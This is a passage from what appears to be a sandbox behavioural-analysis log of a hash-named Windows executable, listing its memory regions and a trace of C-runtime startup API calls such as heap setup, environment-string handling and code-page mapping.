pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 925 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 926 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 927 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 928 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 929 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 930 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 931 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 932 start_va = 0x23d0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 933 start_va = 0x37c0000 end_va = 0x398ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037c0000" filename = "" Region: id = 934 start_va = 0x706d0000 end_va = 0x70744fff monitored = 0 entry_point = 0x70709a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 935 start_va = 0x37c0000 end_va = 0x381ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037c0000" filename = "" Region: id = 936 start_va = 0x3980000 end_va = 0x398ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003980000" filename = "" Region: id = 937 start_va = 0x3640000 end_va = 0x367ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003640000" filename = "" Region: id = 938 start_va = 0x3820000 end_va = 0x391ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003820000" filename = "" Region: id = 939 start_va = 0x76030000 end_va = 0x7614efff monitored = 0 entry_point = 0x76075980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 940 start_va = 0x23d0000 end_va = 0x23d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 941 start_va = 0x3990000 end_va = 0x3e81fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003990000" filename = "" Region: id = 942 start_va = 0x3e90000 end_va = 0x438cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e90000" filename = "" Region: id = 943 start_va = 0x6c880000 end_va = 0x6c9f2fff monitored = 0 entry_point = 0x6c92d220 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 944 start_va = 0x4390000 end_va = 0x448ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 948 start_va = 0x23e0000 end_va = 0x23e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023e0000" filename = "" Region: id = 949 start_va = 0x3820000 end_va = 0x38dbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003820000" filename = "" Region: id = 950 start_va = 0x23e0000 end_va = 0x23e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023e0000" filename = "" Region: id = 951 start_va = 0x725b0000 end_va = 0x726fafff monitored = 0 entry_point = 0x72611660 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 952 start_va = 0x23e0000 end_va = 0x23e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 953 start_va = 0x37c0000 end_va = 0x3804fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db") Region: id = 954 start_va = 0x3810000 end_va = 0x381ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003810000" filename = "" Region: id = 955 start_va = 0x3640000 end_va = 0x3643fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 956 start_va = 0x3820000 end_va = 0x38adfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 957 start_va = 0x3650000 end_va = 0x3653fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 958 start_va = 0x3660000 end_va = 0x3672fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db") Region: id = 959 start_va = 0x38b0000 end_va = 0x38b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Thread: id = 1 os_tid = 0xe48 [0092.387] GetStartupInfoA (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0092.387] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2060000 [0092.635] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0092.635] GetProcAddress (hModule=0x74650000, lpProcName="FlsAlloc") returned 0x7466a980 [0092.636] GetProcAddress (hModule=0x74650000, lpProcName="FlsGetValue") returned 0x74667570 [0092.636] GetProcAddress (hModule=0x74650000, lpProcName="FlsSetValue") returned 0x74669e30 [0092.636] GetProcAddress (hModule=0x74650000, lpProcName="FlsFree") returned 0x74674ff0 [0092.636] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0092.637] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0092.637] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0092.637] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0092.638] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0092.723] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0092.723] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0092.724] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0092.724] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0092.724] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0092.724] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0092.724] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0092.724] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0092.724] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0092.725] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0092.725] GetProcAddress (hModule=0x74650000, lpProcName="DecodePointer") returned 0x7794d830 [0092.725] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x214) returned 0x20605a8 [0092.726] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0092.726] GetProcAddress (hModule=0x74650000, lpProcName="DecodePointer") returned 0x7794d830 [0092.726] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0092.726] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0092.726] GetProcAddress (hModule=0x74650000, lpProcName="DecodePointer") returned 0x7794d830 [0092.727] GetCurrentThreadId () returned 0xe48 [0092.727] GetStartupInfoA (in: lpStartupInfo=0x19fe9c | out: lpStartupInfo=0x19fe9c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0092.727] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x8, Size=0x800) returned 0x20607c8 [0092.727] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0092.727] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0092.727] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0092.727] SetHandleCount (uNumber=0x20) returned 0x20 [0092.727] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe\" " [0092.727] GetEnvironmentStringsW () returned 0x79fd20* [0092.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1293, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1293 [0092.727] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x0, Size=0x50d) returned 0x2060fd0 [0092.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1293, lpMultiByteStr=0x2060fd0, cbMultiByte=1293, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1293 [0092.728] FreeEnvironmentStringsW (penv=0x79fd20) returned 1 [0092.728] GetLastError () returned 0x0 [0092.728] SetLastError (dwErrCode=0x0) [0092.728] GetLastError () returned 0x0 [0092.728] SetLastError (dwErrCode=0x0) [0092.728] GetLastError () returned 0x0 [0092.728] SetLastError (dwErrCode=0x0) [0092.728] GetACP () returned 0x4e4 [0092.729] RtlAllocateHeap (HeapHandle=0x2060000, Flags=0x0, Size=0x220) returned 0x20614e8 [0092.729] GetLastError () returned 0x0 [0092.729] SetLastError (dwErrCode=0x0) [0092.729] IsValidCodePage (CodePage=0x4e4) returned 1 [0092.729] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe7c | out: lpCPInfo=0x19fe7c) returned 1 [0092.729] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f948 | out: lpCPInfo=0x19f948) returned 1 [0092.729] GetLastError () returned 0x0 [0092.729] SetLastError (dwErrCode=0x0) [0092.729] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x19f8d8 | out: lpCharType=0x19f8d8) returned 1 [0092.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0092.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ艱@Ā") returned 256 [0092.729] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ艱@Ā", cchSrc=256, lpCharType=0x19f95c | out: lpCharType=0x19f95c) returned 1 [0092.729] GetLastError () returned 0x0 [0092.730] SetLastError (dwErrCode=0x0) [0092.730] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0092.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0092.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0092.731] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0092.731] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0092.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x19fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿA\x98¶Ø\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0092.731] GetLastError () returned 0x0 [0092.731] SetLastError (dwErrCode=0x0) [0092.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0092.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0092.731] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0092.732] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0092.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x19fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 